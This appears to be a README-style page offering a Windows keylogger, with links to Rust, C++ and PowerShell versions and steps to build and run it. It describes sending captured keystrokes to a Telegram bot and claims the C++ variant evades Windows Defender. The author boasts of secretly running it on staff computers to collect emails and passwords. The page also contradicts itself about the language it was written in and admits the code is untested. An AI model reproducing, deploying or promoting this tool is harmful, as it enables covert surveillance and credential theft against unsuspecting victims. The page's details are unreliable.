This is an keylogger writtn in Rust to capture all kinds of keystokes with page names. For more info visit the Code and Test it on your machine.
Code for Rust Program: https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/keylogger/src/main.rs You can use the Telebot if you want to integrate into keylogger
Steps to use the keylogger.
clone it
cargo build (or)
copy the compiled binary and execute it on current windows versions.
Honestly i didn't test this, it's been a while since i used this keylogger.
To build this keylogger, I used the following tools and technologies:
- C++
- PowerShell
- Telegram Bot API
To start, I created a new C++ console application and included the necessary header files for keyboard input monitoring. I then wrote code to capture keystrokes and store them in a text file. However, this alone was not enough, as the keylogger needed to be able to send the keystrokes to a receiver.
To achieve this, I used PowerShell to read the contents of the text file and send them to a Telegram bot. I created a new bot using the Telegram Bot API and obtained an API token, which I used to authenticate requests to the bot. I then wrote a PowerShell script to send a POST request to the Telegram bot API with the contents of the text file.
My Scripts To run an keylogger ,follow these steps:
Clone or Download the Programs given below and modify the source code depending on your needs.
Execute the keylog.exe file, which will run the undetected keylogger.
To integrate the keylogger with C++ (undetected by Windows Defender), execute the C++ Integrate file.(optional)
To use only PowerShell (detected by Windows Defender), execute the Keylogger Using Only PowerShell file.
If keylog.exe does not work, run the dll-installer.ps1 if keylog.exe doesn't work . Run it as admin.
Tele-bot --> Click Here
keylog.exe --> Click Here
C++ Integrate ( Undeteted By Windows Defender) --> click here
Keylogger Using Only Powershell ( Detected By Defender ! )--> Click Here
IF keylog.exe doesnt work . RUN THIS SCRIPT AS ADMIN --> Click Here
NOTE : Before Executing the scripts . Modify The source code depend upon your needs .
I EXECUTED MY KEYLOGGER ON STAFFS COMPUTERS . NOW ONCE IF I EXECUTED THE SCRIPT ONCE. IT WILL SEND THE STOKES FOR EVERY 5 SECONDS . I GOT MORE INTERESTING THINGS THAN DAMM EMAIL AND PASSWD ;)
FOR TESTING PURPOSE INSTALL g++ and Execute it